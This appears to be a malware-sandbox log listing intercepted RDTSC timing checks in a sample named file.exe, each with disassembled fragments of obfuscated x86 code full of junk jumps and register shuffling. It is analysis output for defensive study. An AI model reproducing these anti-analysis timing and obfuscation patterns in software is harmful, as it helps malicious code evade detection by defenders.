Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E402A5 second address: 4E40379 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007F1AA0B73DBFh 0x0000000f je 00007F1B12C5210Dh 0x00000015 pushad 0x00000016 movzx ecx, bx 0x00000019 pushfd 0x0000001a jmp 00007F1AA0B73DC1h 0x0000001f and cx, 4566h 0x00000024 jmp 00007F1AA0B73DC1h 0x00000029 popfd 0x0000002a popad 0x0000002b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F1AA0B73DBCh 0x00000039 add ch, 00000008h 0x0000003c jmp 00007F1AA0B73DBBh 0x00000041 popfd 0x00000042 mov ecx, 0D7DE77Fh 0x00000047 popad 0x00000048 je 00007F1B12C520C5h 0x0000004e jmp 00007F1AA0B73DC2h 0x00000053 mov edx, dword ptr [esi+44h] 0x00000056 jmp 00007F1AA0B73DC0h 0x0000005b or edx, dword ptr [ebp+0Ch] 0x0000005e pushad 0x0000005f mov edx, ecx 0x00000061 push eax 0x00000062 push edx 0x00000063 pushfd 0x00000064 jmp 00007F1AA0B73DC8h 0x00000069 adc ax, 1CF8h 0x0000006e jmp 00007F1AA0B73DBBh 0x00000073 popfd 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40379 second address: 4E403BC instructions: 0x00000000 rdtsc 0x00000002 mov cx, E22Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 test edx, 61000000h 0x0000000f pushad 0x00000010 jmp 00007F1AA0DFCFE0h 0x00000015 mov edi, eax 0x00000017 popad 0x00000018 jne 00007F1B12EDB2C2h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F1AA0DFCFE6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E403BC second address: 4E403C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E403C0 second address: 4E403C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E403C6 second address: 4E403E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [esi+48h], 00000001h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E403E2 second address: 4E403FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E403FF second address: 4E40405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40405 second address: 4E40409 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40409 second address: 4E4042B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F1B12C52046h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1AA0B73DC2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E308FC second address: 4E30901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30901 second address: 4E30907 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30907 second address: 4E3090B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3090B second address: 4E30922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1AA0B73DBAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30922 second address: 4E30931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30931 second address: 4E30937 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30937 second address: 4E30997 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F1AA0DFCFE3h 0x00000012 jmp 00007F1AA0DFCFE3h 0x00000017 popfd 0x00000018 pushfd 0x00000019 jmp 00007F1AA0DFCFE8h 0x0000001e and esi, 28D797F8h 0x00000024 jmp 00007F1AA0DFCFDBh 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30997 second address: 4E30A0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F1AA0B73DC7h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F1AA0B73DBBh 0x0000001b sbb si, 591Eh 0x00000020 jmp 00007F1AA0B73DC9h 0x00000025 popfd 0x00000026 pushfd 0x00000027 jmp 00007F1AA0B73DC0h 0x0000002c sbb ax, 3718h 0x00000031 jmp 00007F1AA0B73DBBh 0x00000036 popfd 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30A0C second address: 4E30A92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 pushfd 0x00000007 jmp 00007F1AA0DFCFE0h 0x0000000c or al, 00000078h 0x0000000f jmp 00007F1AA0DFCFDBh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 and esp, FFFFFFF8h 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F1AA0DFCFE4h 0x00000022 and cl, FFFFFFD8h 0x00000025 jmp 00007F1AA0DFCFDBh 0x0000002a popfd 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F1AA0DFCFE6h 0x00000032 jmp 00007F1AA0DFCFE5h 0x00000037 popfd 0x00000038 popad 0x00000039 popad 0x0000003a push ebp 0x0000003b pushad 0x0000003c push ecx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30A92 second address: 4E30ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F1AA0B73DC2h 0x0000000a popad 0x0000000b mov dword ptr [esp], ebx 0x0000000e jmp 00007F1AA0B73DC0h 0x00000013 xchg eax, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov bx, E110h 0x0000001b jmp 00007F1AA0B73DC9h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30ADF second address: 4E30AE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30AE4 second address: 4E30AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30AEA second address: 4E30B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F1AA0DFCFE8h 0x0000000d xchg eax, esi 0x0000000e pushad 0x0000000f mov cl, 15h 0x00000011 call 00007F1AA0DFCFE3h 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 popad 0x0000001a mov esi, dword ptr [ebp+08h] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30B2E second address: 4E30B34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30B34 second address: 4E30B61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F1AA0DFCFE2h 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebx, 00000000h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1AA0DFCFDDh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30B61 second address: 4E30BE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1AA0B73DC7h 0x00000009 jmp 00007F1AA0B73DC3h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007F1AA0B73DC8h 0x00000015 jmp 00007F1AA0B73DC5h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e test esi, esi 0x00000020 pushad 0x00000021 mov si, 8CF3h 0x00000025 movzx esi, bx 0x00000028 popad 0x00000029 je 00007F1B12C59577h 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F1AA0B73DBEh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30BE3 second address: 4E30C69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1AA0DFCFE1h 0x00000009 xor eax, 4E8553E6h 0x0000000f jmp 00007F1AA0DFCFE1h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a cmp dword ptr [esi+08h], DDEEDDEEh 0x00000021 pushad 0x00000022 mov edx, eax 0x00000024 jmp 00007F1AA0DFCFE6h 0x00000029 popad 0x0000002a mov ecx, esi 0x0000002c pushad 0x0000002d mov di, si 0x00000030 pushfd 0x00000031 jmp 00007F1AA0DFCFDAh 0x00000036 and ax, A9E8h 0x0000003b jmp 00007F1AA0DFCFDBh 0x00000040 popfd 0x00000041 popad 0x00000042 je 00007F1B12EE2720h 0x00000048 pushad 0x00000049 mov ecx, 1F5068FBh 0x0000004e push eax 0x0000004f push edx 0x00000050 mov ebx, eax 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30C69 second address: 4E30D60 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F1AA0B73DBAh 0x00000008 and esi, 3A6C3C48h 0x0000000e jmp 00007F1AA0B73DBBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 test byte ptr [76FA6968h], 00000002h 0x0000001e jmp 00007F1AA0B73DC6h 0x00000023 jne 00007F1B12C594C4h 0x00000029 jmp 00007F1AA0B73DC0h 0x0000002e mov edx, dword ptr [ebp+0Ch] 0x00000031 pushad 0x00000032 mov esi, 57C0276Dh 0x00000037 push ecx 0x00000038 mov esi, ebx 0x0000003a pop edx 0x0000003b popad 0x0000003c xchg eax, ebx 0x0000003d pushad 0x0000003e movzx esi, bx 0x00000041 mov esi, edi 0x00000043 popad 0x00000044 push eax 0x00000045 pushad 0x00000046 pushfd 0x00000047 jmp 00007F1AA0B73DC2h 0x0000004c add eax, 46841368h 0x00000052 jmp 00007F1AA0B73DBBh 0x00000057 popfd 0x00000058 pushfd 0x00000059 jmp 00007F1AA0B73DC8h 0x0000005e jmp 00007F1AA0B73DC5h 0x00000063 popfd 0x00000064 popad 0x00000065 xchg eax, ebx 0x00000066 pushad 0x00000067 push eax 0x00000068 mov edx, 28965C0Eh 0x0000006d pop edi 0x0000006e call 00007F1AA0B73DC4h 0x00000073 pop edi 0x00000074 popad 0x00000075 xchg eax, ebx 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007F1AA0B73DC3h 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30D60 second address: 4E30D78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1AA0DFCFE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30D78 second address: 4E30DBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F1AA0B73DBEh 0x0000000e xchg eax, ebx 0x0000000f jmp 00007F1AA0B73DC0h 0x00000014 push dword ptr [ebp+14h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F1AA0B73DC7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30DBC second address: 4E30DC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30DC3 second address: 4E30DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push dword ptr [ebp+10h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30DD3 second address: 4E30DD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30DD7 second address: 4E30DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40C13 second address: 4E40C19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40C19 second address: 4E40C1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40C1F second address: 4E40C4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1AA0DFCFE7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40C4D second address: 4E40C99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 pushfd 0x00000006 jmp 00007F1AA0B73DBBh 0x0000000b sbb esi, 0A2A2DDEh 0x00000011 jmp 00007F1AA0B73DC9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F1AA0B73DC3h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40C99 second address: 4E40CB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40CB6 second address: 4E40CBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40CBC second address: 4E40CC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40A3A second address: 4E40A5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 jmp 00007F1AA0B73DBCh 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov eax, 1E4A8A33h 0x00000015 mov si, 968Fh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40A5B second address: 4E40A88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, bl 0x00000005 mov al, 66h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F1AA0DFCFDFh 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F1AA0DFCFDBh 0x0000001a push ecx 0x0000001b pop edi 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0923 second address: 4EB094E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 mov dh, al 0x0000000b jmp 00007F1AA0B73DBFh 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F1AA0B73DBBh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB094E second address: 4EB0954 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0954 second address: 4EB0963 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1AA0B73DBBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0963 second address: 4EB09DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F1AA0DFCFDCh 0x00000013 xor ch, 00000068h 0x00000016 jmp 00007F1AA0DFCFDBh 0x0000001b popfd 0x0000001c push ecx 0x0000001d pushfd 0x0000001e jmp 00007F1AA0DFCFDFh 0x00000023 and ah, FFFFFFAEh 0x00000026 jmp 00007F1AA0DFCFE9h 0x0000002b popfd 0x0000002c pop ecx 0x0000002d popad 0x0000002e mov ebp, esp 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F1AA0DFCFDAh 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB09DE second address: 4EB0A20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F1AA0B73DBBh 0x00000013 or esi, 0066C26Eh 0x00000019 jmp 00007F1AA0B73DC9h 0x0000001e popfd 0x0000001f mov dl, ch 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0782 second address: 4EB07D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1AA0DFCFDFh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F1AA0DFCFDCh 0x00000013 sub esi, 448CF588h 0x00000019 jmp 00007F1AA0DFCFDBh 0x0000001e popfd 0x0000001f popad 0x00000020 mov dword ptr [esp], ebp 0x00000023 jmp 00007F1AA0DFCFE6h 0x00000028 mov ebp, esp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB07D9 second address: 4EB0811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F1AA0B73DC3h 0x0000000a sbb ax, 372Eh 0x0000000f jmp 00007F1AA0B73DC9h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0811 second address: 4EB086C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1AA0DFCFE7h 0x00000009 xor si, 8D3Eh 0x0000000e jmp 00007F1AA0DFCFE9h 0x00000013 popfd 0x00000014 push eax 0x00000015 pop edi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F1AA0DFCFE9h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB086C second address: 4EB0872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0872 second address: 4EB0876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40F4C second address: 4E40F52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40F52 second address: 4E40F58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40F58 second address: 4E40F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40F5C second address: 4E40F60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0C1E second address: 4EB0C5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F1AA0B73DC6h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1AA0B73DC7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0C5F second address: 4EB0CA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push dword ptr [ebp+0Ch] 0x0000000d pushad 0x0000000e mov bx, 5470h 0x00000012 push ebx 0x00000013 mov dx, cx 0x00000016 pop ecx 0x00000017 popad 0x00000018 push dword ptr [ebp+08h] 0x0000001b jmp 00007F1AA0DFCFE7h 0x00000020 call 00007F1AA0DFCFD9h 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0CA0 second address: 4EB0CA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0CA4 second address: 4EB0CA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0CA8 second address: 4EB0CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0CAE second address: 4EB0CCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1AA0DFCFE9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0CCB second address: 4EB0CCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0CCF second address: 4EB0D7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov ax, 2719h 0x0000000e pushfd 0x0000000f jmp 00007F1AA0DFCFE6h 0x00000014 xor ecx, 6148F8A8h 0x0000001a jmp 00007F1AA0DFCFDBh 0x0000001f popfd 0x00000020 popad 0x00000021 mov eax, dword ptr [esp+04h] 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F1AA0DFCFDFh 0x0000002c add cx, 6DEEh 0x00000031 jmp 00007F1AA0DFCFE9h 0x00000036 popfd 0x00000037 jmp 00007F1AA0DFCFE0h 0x0000003c popad 0x0000003d mov eax, dword ptr [eax] 0x0000003f jmp 00007F1AA0DFCFDBh 0x00000044 mov dword ptr [esp+04h], eax 0x00000048 jmp 00007F1AA0DFCFE9h 0x0000004d pop eax 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 mov eax, edi 0x00000053 pushad 0x00000054 popad 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6024C second address: 4E60297 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1AA0B73DBFh 0x00000009 sbb esi, 36B67E5Eh 0x0000000f jmp 00007F1AA0B73DC9h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b jmp 00007F1AA0B73DBCh 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60297 second address: 4E602A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1AA0DFCFDAh 0x00000009 popad 0x0000000a rdtsc
